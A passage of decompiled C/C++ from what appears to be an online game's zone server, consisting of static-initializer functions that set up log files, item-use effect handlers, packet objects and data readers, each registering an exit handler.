-------------------------------------------------------- int __cdecl _E65() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"InvalidProtocolLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&InvalidProtocolLog - "InvalidProtocolLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_1247FBD0 = 0; EraseOldLogList("InvalidProtocolLog"); unk_1247FD54 = 1; return atexit(_E66_1); } //----- (00590700) -------------------------------------------------------- void __cdecl _E68() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineNPC::m_RTTI, "ShineObjectClass::ShineNPC", &ShineObjectClass::ShineMob::m_RTTI); } //----- (00590720) -------------------------------------------------------- void __cdecl _E70_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineDoor::m_RTTI, "ShineObjectClass::ShineDoor", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (00590740) -------------------------------------------------------- void __cdecl _E72_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMagicField::m_RTTI, "ShineObjectClass::ShineMagicField", &ShineObjectClass::ShineObject::m_RTTI); } //----- (00590760) -------------------------------------------------------- void __cdecl _E74() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMiniHouse::m_RTTI, "ShineObjectClass::ShineMiniHouse", &ShineObjectClass::ShineObject::m_RTTI); } //----- (00590780) -------------------------------------------------------- void __cdecl _E76_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMob::m_RTTI, "ShineObjectClass::ShineMob", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (005907A0) -------------------------------------------------------- void __cdecl _E78_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineBandit::m_RTTI, "ShineObjectClass::ShineBandit", &ShineObjectClass::ShineMob::m_RTTI); } //----- (005907C0) -------------------------------------------------------- void __cdecl _E80() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineServant::m_RTTI, "ShineObjectClass::ShineServant", &ShineObjectClass::ShineMob::m_RTTI); } //----- (005907E0) -------------------------------------------------------- int __cdecl _E84_0() { ShineObjectManager::ShineObjectManager(&shineobjmanager); return atexit(_E85_2); } //----- (00590800) -------------------------------------------------------- int __cdecl _E93() { MemoryQueue::MemoryQueue(&queue_linkreserv); return atexit(_E94_1); } //----- (00590820) -------------------------------------------------------- int __cdecl _E98() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"CoordRepairLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&CoordRepairLog - "CoordRepairLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); CoordRepairLog.dl_FilePointer = 0; EraseOldLogList("CoordRepairLog"); CoordRepairLog.dl_Activ = 1; return atexit(_E99_0); } //----- (00590870) -------------------------------------------------------- int __cdecl _E101() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"EldLocateLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&EldLocateLog - "EldLocateLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); EldLocateLog.dl_FilePointer = 0; EraseOldLogList("EldLocateLog"); EldLocateLog.dl_Activ = 1; return atexit(_E102_0); } //----- (005908C0) -------------------------------------------------------- void __cdecl _E3_20() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMobileObject::m_RTTI, "ShineObjectClass::ShineMobileObject", &ShineObjectClass::ShineObject::m_RTTI); } //----- (005908E0) -------------------------------------------------------- void __cdecl _E4_45() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShinePlayer::m_RTTI, "ShinePlayer", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (00590900) -------------------------------------------------------- int __cdecl _E4_46() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ReinforceMoveLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ReinforceMoveLog - "ReinforceMoveLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ReinforceMoveLog.dl_FilePointer = 0; EraseOldLogList("ReinforceMoveLog"); ReinforceMoveLog.dl_Activ = 1; return atexit(_E5_64); } //----- (00590950) -------------------------------------------------------- int __cdecl _E4_47() { MemoryQueue::MemoryQueue(&queue_MH_InnerInfo); return atexit(_E5_65); } //----- (00590970) -------------------------------------------------------- int __cdecl _E1_21() { ShineRadian::ShineRadian(&shineradian); return atexit(_E2_21); } //----- (00590990) -------------------------------------------------------- int __cdecl _E20_0() { AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy((AxialListNearScanSkillEnemy *)&alnse); return atexit(_E21_5); } //----- (005909B0) -------------------------------------------------------- int __cdecl _E23_1() { AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(&alnsf); return atexit(_E24_4); } //----- (005909D0) -------------------------------------------------------- int __cdecl _E26_0() { AxialListNearScanSkillParty::AxialListNearScanSkillParty(&alnsp); return atexit(_E27_4); } //----- (005909F0) -------------------------------------------------------- int __cdecl _E29_0() { FanFormSectorArgument::FanFormSectorArgument(&ffsa); return atexit(_E30_3); } //----- (00590A10) -------------------------------------------------------- int __cdecl _E32_0() { MemoryQueue::MemoryQueue((MemoryQueue *)&queue_skillerase); return atexit(_E33_3); } //----- (00590A30) -------------------------------------------------------- int __cdecl _E3_21() { SkillDataBox::SkillDataBox(&skilldatabox); return atexit(_E4_83); } //----- (00590A50) -------------------------------------------------------- int __cdecl _E6_6() { PassiveDataBox::PassiveDataBox((PassiveDataBox *)&passivedatabox); return atexit(_E7_51); } //----- (00590A70) -------------------------------------------------------- int __cdecl _E9_3() { BTree::BTree(&skillnametree); return atexit(_E10_25); } //----- (00590A90) -------------------------------------------------------- int __cdecl _E1_22() { SpamerPenaltyDataBox::SpamerPenaltyDataBox(&SpamerPenaltyData); return atexit(_E2_22); } //----- (00590AB0) -------------------------------------------------------- int __cdecl _E6_7() { MemoryQueue::MemoryQueue(&queue_sparrowfly); return atexit(_E7_53); } //----- (00590AD0) -------------------------------------------------------- int __cdecl _E14_0() { return atexit(_E15_10); } //----- (00590AE0) -------------------------------------------------------- int __cdecl _E17_0() { return atexit(_E18_6); } //----- (00590AF0) -------------------------------------------------------- int __cdecl _E3_22() { return atexit(_E4_84); } //----- (00590B00) -------------------------------------------------------- int __cdecl _E1_23() { UpgradeDataBox::UpgradeDataBox(&upgradedatabox); return atexit(_E2_23); } //----- (00590B20) -------------------------------------------------------- int __cdecl _E4_48() { UseEffect::UsedItemEffect::UsedItemEffect(&useditemeffect); return atexit(_E5_73); } //----- (00590B40) -------------------------------------------------------- int __cdecl _E7_28() { return atexit(_E8_34); } //----- (00590B50) -------------------------------------------------------- int __cdecl _E10_14() { UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead((UseEffect::UseItemJustReviveAtDead *)&ui_JustRevive); return atexit(_E11_31); } //----- (00590B70) -------------------------------------------------------- int __cdecl _E13_9() { UseEffect::UseItemSilverWing::UseItemSilverWing((UseEffect::UseItemSilverWing *)&ui_silverwing); return atexit(_E14_14); } //----- (00590B90) -------------------------------------------------------- int __cdecl _E16_9() { UseEffect::UseItemRecallScroll::UseItemRecallScroll(&ui_recallscroll); return atexit(_E17_17); } //----- (00590BB0) -------------------------------------------------------- int __cdecl _E19_5() { UseEffect::UseItemSkillScroll::UseItemSkillScroll(&ui_skillscroll); return atexit(_E20_8); } //----- (00590BD0) -------------------------------------------------------- int __cdecl _E22_4() { UseEffect::UseItemChest::UseItemChest((UseEffect::UseItemChest *)&ui_chestopen); return atexit(_E23_8); } //----- (00590BF0) -------------------------------------------------------- int __cdecl _E25_4() { UseEffect::UseItemMysteryBolt::UseItemMysteryBolt((UseEffect::UseItemMysteryBolt *)&ui_mysterybolt); return atexit(_E26_6); } //----- (00590C10) -------------------------------------------------------- int __cdecl _E28_3() { UseEffect::UseItemByTable::UseItemByTable(&ui_bytable); return atexit(_E29_7); } //----- (00590C30) -------------------------------------------------------- int __cdecl _E31_3() { UseEffect::UseItemChargedBuff::UseItemChargedBuff((UseEffect::UseItemChargedBuff *)&ui_chargedbuff); return atexit(_E32_5); } //----- (00590C50) -------------------------------------------------------- int __cdecl _E34_3() { UseEffect::UseItemMiniHouse::UseItemMiniHouse((UseEffect::UseItemMiniHouse *)&ui_minihouse); return atexit(_E35_4); } //----- (00590C70) -------------------------------------------------------- int __cdecl _E37_2() { UseEffect::UseItemActionItem::UseItemActionItem(&ui_actionitem); return atexit(_E38_3); } //----- (00590C90) -------------------------------------------------------- int __cdecl _E40_2() { UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture((UseEffect::UseItemMiniHouseFurniture *)&ui_minihousefurniture); return atexit(_E41_2); } //----- (00590CB0) -------------------------------------------------------- int __cdecl _E43_2() { UseEffect::UseItemRide::UseItemRide((UseEffect::UseItemRide *)&ui_ride); return atexit(_E44_3); } //----- (00590CD0) -------------------------------------------------------- int __cdecl _E46_2() { UseEffect::UseItemHorseFood::UseItemHorseFood((UseEffect::UseItemHorseFood *)&ui_horsefood); return atexit(_E47_3); } //----- (00590CF0) -------------------------------------------------------- int __cdecl _E49_2() { UseEffect::UseItemItemPackage::UseItemItemPackage(&ui_itempackage); return atexit(_E50_1); } //----- (00590D10) -------------------------------------------------------- int __cdecl _E52_1() { UseEffect::UseItemLicenseClear::UseItemLicenseClear(&ui_LicenceClear); return atexit(_E53_2); } //----- (00590D30) -------------------------------------------------------- int __cdecl _E55_1() { UseEffect::UseItemAmountHP::UseItemAmountHP(&ui_amounthp); return atexit(_E56_2); } //----- (00590D50) -------------------------------------------------------- int __cdecl _E58_1() { UseEffect::UseItemAmountSP::UseItemAmountSP(&ui_amountsp); return atexit(_E59_2); } //----- (00590D70) -------------------------------------------------------- int __cdecl _E61_1() { UseEffect::UseItemStatClear::UseItemStatClear(&ui_StatClearStat, 5, 14); return atexit(_E62_2); } //----- (00590D90) -------------------------------------------------------- int __cdecl _E64_1() { UseEffect::UseItemStatClear::UseItemStatClear(&ui_StatClearEmpow, 6, 15); return atexit(_E65_2); } //----- (00590DB0) -------------------------------------------------------- int __cdecl _E67_0() { UseEffect::UseItemRoar::UseItemRoar((UseEffect::UseItemRoar *)&ui_Roar); return atexit(_E68_1); } //----- (00590DD0) -------------------------------------------------------- int __cdecl _E70_1() { UseEffect::UseItemSkillErase::UseItemSkillErase((UseEffect::UseItemSkillErase *)&ui_SkillErase); return atexit(_E71_0); } //----- (00590DF0) -------------------------------------------------------- int __cdecl _E73_0() { UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(&ui_MemoryFeather); return atexit(_E74_1); } //----- (00590E10) -------------------------------------------------------- int __cdecl _E76_1() { UseEffect::UseItemWingStone::UseItemWingStone((UseEffect::UseItemWingStone *)&ui_SparrowWingStone); return atexit(_E77_0); } //----- (00590E30) -------------------------------------------------------- int __cdecl _E79_0() { UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(&ui_BossMobDetect); return atexit(_E80_1); } //----- (00590E50) -------------------------------------------------------- int __cdecl _E82_0() { UseEffect::UseItemNoEffect::UseItemNoEffect(&ui_NoEffect); return atexit(_E83_1); } //----- (00590E70) -------------------------------------------------------- int __cdecl _E85_0() { UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real((UseEffect::UseItemSkillDummy2Real *)&ui_dummy2real); return atexit(_E86_0); } //----- (00590E90) -------------------------------------------------------- int __cdecl _E88_0() { UseEffect::UseItemPropose::UseItemPropose(&ui_Propose); return atexit(_E89_0); } //----- (00590EB0) -------------------------------------------------------- int __cdecl _E91_0() { UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(&ui_ImmediateDivorce); return atexit(_E92_1); } //----- (00590ED0) -------------------------------------------------------- int __cdecl _E94_0() { UseEffect::UseItemGuildReName::UseItemGuildReName((UseEffect::UseItemGuildReName *)&ui_GuildReName); return atexit(_E95_0); } //----- (00590EF0) -------------------------------------------------------- int __cdecl _E97_0() { UseEffect::UseItemGuildReType::UseItemGuildReType((UseEffect::UseItemGuildReType *)&ui_GuildReType); return atexit(_E98_1); } //----- (00590F10) -------------------------------------------------------- int __cdecl _E100_0() { UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(&ui_FurnitureEndureKit); return atexit(_E101_1); } //----- (00590F30) -------------------------------------------------------- int __cdecl _E4_49() { WeddingHall::WeddingHall(&weddinghall); return atexit(_E5_75); } //----- (00590F50) -------------------------------------------------------- int __cdecl _E4_50() { ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(&zonringpack_findplayer); return atexit(_E5_76); } //----- (00590F70) -------------------------------------------------------- int __cdecl _E7_29() { ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(&zonringpack_summonplayer); return atexit(_E8_36); } //----- (00590F90) -------------------------------------------------------- int __cdecl _E10_15() { ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(&zonringpack_kickplayerout); return atexit(_E11_32); } //----- (00590FB0) -------------------------------------------------------- int __cdecl _E13_10() { ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(&zonringpack_expbonus); return atexit(_E14_15); } //----- (00590FD0) -------------------------------------------------------- int __cdecl _E16_10() { ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(&zonringpack_itembonus); return atexit(_E17_18); } //----- (00590FF0) -------------------------------------------------------- int __cdecl _E19_6() { ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(&zonringpack_findplayerbynormaluser); return atexit(_E20_9); } //----- (00591010) -------------------------------------------------------- int __cdecl _E22_5() { ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(&zonringpack_summonpartner); return atexit(_E23_9); } //----- (00591030) -------------------------------------------------------- int __cdecl _E25_5() { ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(&zonringpack_refresh_weddinginfo); return atexit(_E26_7); } //----- (00591050) -------------------------------------------------------- int __cdecl _E28_4() { ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(&zonringpack_emptyinstancedungeon); return atexit(_E29_8); } //----- (00591070) -------------------------------------------------------- int __cdecl _E31_4() { ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(&zonringpack_findinstancedungeon); return atexit(_E32_6); } //----- (00591090) -------------------------------------------------------- int __cdecl _E3_23() { ZoneIPContainer::ZoneIPContainer(&zipc); return atexit(_E4_87); } //----- (005910B0) -------------------------------------------------------- int __cdecl _E4_51() { CWeaponTitleZone::CWeaponTitleZone(&gWeaponTitle); return atexit(_E5_77); } //----- (005910D0) -------------------------------------------------------- int __cdecl _E7_30() { CCharacterTitleData::CCharacterTitleData((BinaryData *)&gCharacterTitleData); return atexit(_E8_37); } //----- (005910F0) -------------------------------------------------------- int __cdecl _E10_16() { CCharacterTitleData::CCharacterTitleData((BinaryData *)&gAnnounceSystem); return atexit(_E11_33); } //----- (00591110) -------------------------------------------------------- int __cdecl _E13_11() { CQuestData::CQuestData(&gQuestData, 0); return atexit(_E14_16); } //----- (00591130) -------------------------------------------------------- int __cdecl _E16_11() { CGuildZone::CGuildZone(&gGuild); return atexit(_E17_19); } //----- (00591150) -------------------------------------------------------- int __cdecl _E19_7() { CDataReader::CDataReader(&gClassName); return atexit(_E20_10); } //----- (00591170) -------------------------------------------------------- int __cdecl _E22_6() { CDataReader::CDataReader(&gItemUpgrade); return atexit(_E23_10); } //----- (00591190) -------------------------------------------------------- int __cdecl _E25_6() { CDataReader::CDataReader(&gItemDismantle); return atexit(_E26_8); } //----- (005911B0) -------------------------------------------------------- int __cdecl _E28_5() { CDataReader::CDataReader(&gMiniHouseObjEffect); return atexit(_E29_9); } //----- (005911D0) -------------------------------------------------------- int __cdecl _E31_5() { CDataReader::CDataReader(&gMiniHouseDiceRate); return atexit(_E32_7); } //----- (005911F0) -------------------------------------------------------- int __cdecl _E34_4() { CDataReader::CDataReader(&gMiniHouseDiecGame); return atexit(_E35_5); } //----- (00591210) -------------------------------------------------------- int __cdecl _E37_3() { CDataReader::CDataReader(&gMiniHouseDiceDividind); return atexit(_E38_4); } //----- (00591230) -------------------------------------------------------- int __cdecl _E40_3() { MoveManager::MoveManager(&gMiniHouseDiceTaiSai); return atexit(_E41_3); } //----- (00591250) -------------------------------------------------------- int __cdecl _E43_3() { DiceTaiSaiDividind::DiceTaiSaiDividind(&gMiniHouseDiceTaiSaiDividind); return atexit(_E44_4); } //----- (00591270) -------------------------------------------------------- int __cdecl _E46_3() { return atexit(_E47_4); } //----- (00591280) -------------------------------------------------------- int __cdecl _E49_3() { std::set_std::allocator>::set_std::allocator>((std::set,std::allocator > *)&globalset); return atexit(_E50_2); } //----- (005912A0) -------------------------------------------------------- int __cdecl _E1_24() { clockwatch.cw_LastMilliSec = timeGetTime(); clockwatch.cw_DeltaTick = 0; clockwatch.cw_IsReset = 0; clockwatch.cw_LastMilliSecByDelta = timeGetTime(); return atexit(_E2_24); } //----- (005912D0) -------------------------------------------------------- int __cdecl _E6_8() { return atexit(_E7_58); } //----- (005912E0) -------------------------------------------------------- int __cdecl _E9_4() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"BalanceLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&BalanceLog - "BalanceLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); BalanceLog.dl_FilePointer = 0; EraseOldLogList("BalanceLog"); BalanceLog.dl_Activ = 1; return atexit(_E10_28); } //----- (00591330) -------------------------------------------------------- int __cdecl _E12_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MobAggroLog"); return atexit(_E13_27); } //----- (00591380) -------------------------------------------------------- int __cdecl _E15_1() { return atexit(_E16_18); } //----- (00591390) -------------------------------------------------------- int __cdecl _E18_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillLog"); return atexit(_E19_16); } //----- (005913E0) -------------------------------------------------------- int __cdecl _E21_1() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQLogging - "KQLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQLogging.dl_FilePointer = 0; EraseOldLogList("KQLog"); KQLogging.dl_Activ = 1; return atexit(_E22_12); } //----- (00591430) -------------------------------------------------------- int __cdecl _E24_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PacketLog"); return atexit(_E25_11); } //----- (00591480) -------------------------------------------------------- int __cdecl _E27_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ZoneRingLinkLog"); return atexit(_E28_9); } //----- (005914D0) -------------------------------------------------------- int __cdecl _E30_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MobRegenLog"); return atexit(_E31_10); } //----- (00591520) -------------------------------------------------------- int __cdecl _E33_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("LoginLinkLog"); return atexit(_E34_8); } //----- (00591570) -------------------------------------------------------- int __cdecl _E36_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ServiceLog"); return atexit(_E37_7); } //----- (005915C0) -------------------------------------------------------- int __cdecl _E39_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DisconnectLog"); return atexit(_E40_7); } //----- (00591610) -------------------------------------------------------- int __cdecl _E42_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DisconnectLog2"); return atexit(_E43_7); } //----- (00591660) -------------------------------------------------------- int __cdecl _E45_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("WMSPacketLog"); return atexit(_E46_8); } //----- (005916B0) -------------------------------------------------------- int __cdecl _E48_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("LinkLog"); return atexit(_E49_8); } //----- (00591700) -------------------------------------------------------- int __cdecl _E51_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("Abstate2WMS"); return atexit(_E52_5); } //----- (00591750) -------------------------------------------------------- int __cdecl _E54_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GoldHillLog"); return atexit(_E55_4); } //----- (005917A0) -------------------------------------------------------- int __cdecl _E57_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MapRelink"); return atexit(_E58_4); } //----- (005917F0) -------------------------------------------------------- int __cdecl _E60_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PassiveLog"); return atexit(_E61_4); } //----- (00591840) -------------------------------------------------------- int __cdecl _E63_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("FuncInitLog"); return atexit(_E64_3); } //----- (00591890) -------------------------------------------------------- int __cdecl _E66_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ChargedItemLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ChargedItemLog - "ChargedItemLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ChargedItemLog.dl_FilePointer = 0; EraseOldLogList("ChargedItemLog"); ChargedItemLog.dl_Activ = 1; return atexit(_E67_3); } //----- (005918E0) -------------------------------------------------------- int __cdecl _E69_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("TreasureBoxLog"); return atexit(_E70_3); } //----- (00591930) -------------------------------------------------------- int __cdecl _E72_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PineScript"); return atexit(_E73_2); } //----- (00591980) -------------------------------------------------------- int __cdecl _E75_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog"); return atexit(_E76_3); } //----- (005919D0) -------------------------------------------------------- int __cdecl _E78_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog2"); return atexit(_E79_2); } //----- (00591A20) -------------------------------------------------------- int __cdecl _E81_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog3"); return atexit(_E82_2); } //----- (00591A70) -------------------------------------------------------- int __cdecl _E84_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("CharClassBugLog"); return atexit(_E85_3); } //----- (00591AC0) -------------------------------------------------------- int __cdecl _E87_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ChargedItemVanishLog"); return atexit(_E88_3); } //----- (00591B10) -------------------------------------------------------- int __cdecl _E90() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HorseLog"); return atexit(_E91_2); } //----- (00591B60) -------------------------------------------------------- int __cdecl _E93_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HPLog"); return atexit(_E94_2); } //----- (00591BB0) -------------------------------------------------------- int __cdecl _E96() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AttackFailLog"); return atexit(_E97_2); } //----- (00591C00) -------------------------------------------------------- int __cdecl _E99() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ScriptChase"); return atexit(_E100_1); } //----- (00591C50) -------------------------------------------------------- int __cdecl _E102() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillCastNotFinish"); return atexit(_E103_0); } //----- (00591CA0) -------------------------------------------------------- int __cdecl _E105() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("OpToolSockLog"); return atexit(_E106_0); } //----- (00591CF0) -------------------------------------------------------- int __cdecl _E108() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PartyErrorLog"); return atexit(_E109_0); } //----- (00591D40) -------------------------------------------------------- int __cdecl _E111() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQRewardLog"); return atexit(_E112_0); } //----- (00591D90) -------------------------------------------------------- int __cdecl _E114() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DeadCheckLog"); return atexit(_E115_0); } //----- (00591DE0) -------------------------------------------------------- int __cdecl _E117() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DropItemLog"); return atexit(_E118_0); } //----- (00591E30) -------------------------------------------------------- int __cdecl _E120() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("BriefChangeInBoothLog"); return atexit(_E121_0); } //----- (00591E80) -------------------------------------------------------- int __cdecl _E123() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AbStatKeepTimeLog"); return atexit(_E124_0); } //----- (00591ED0) -------------------------------------------------------- int __cdecl _E126() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQEntryLog"); return atexit(_E127_0); } //----- (00591F20) -------------------------------------------------------- int __cdecl _E129() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQTournamentLog"); return atexit(_E130_0); } //----- (00591F70) -------------------------------------------------------- int __cdecl _E132() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PlayerRegNumLog"); return atexit(_E133_0); } //----- (00591FC0) -------------------------------------------------------- int __cdecl _E135() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HPCharge"); return atexit(_E136_0); } //----- (00592010) -------------------------------------------------------- int __cdecl _E138() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQLogoutLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQLogoutLog - "KQLogoutLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQLogoutLog.dl_FilePointer = 0; EraseOldLogList("KQLogoutLog"); KQLogoutLog.dl_Activ = 1; return atexit(_E139_0); } //----- (00592060) -------------------------------------------------------- int __cdecl _E141() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AttackImmortal"); return atexit(_E142_0); } //----- (005920B0) -------------------------------------------------------- int __cdecl _E144() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MoreDisconnectLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MoreDisconnectLog - "MoreDisconnectLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MoreDisconnectLog.dl_FilePointer = 0; EraseOldLogList("MoreDisconnectLog"); MoreDisconnectLog.dl_Activ = 1; return atexit(_E145_0); } //----- (00592100) -------------------------------------------------------- int __cdecl _E147() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PartyInformLog"); return atexit(_E148_0); } //----- (00592150) -------------------------------------------------------- int __cdecl _E150() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("WMHRepairLog"); return atexit(_E151_0); } //----- (005921A0) -------------------------------------------------------- int __cdecl _E153() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"InnerMiniHouseLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&InnerMiniHouseLog - "InnerMiniHouseLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); InnerMiniHouseLog.dl_FilePointer = 0; EraseOldLogList("InnerMiniHouseLog"); InnerMiniHouseLog.dl_Activ = 1; return atexit(_E154_0); } //----- (005921F0) -------------------------------------------------------- int __cdecl 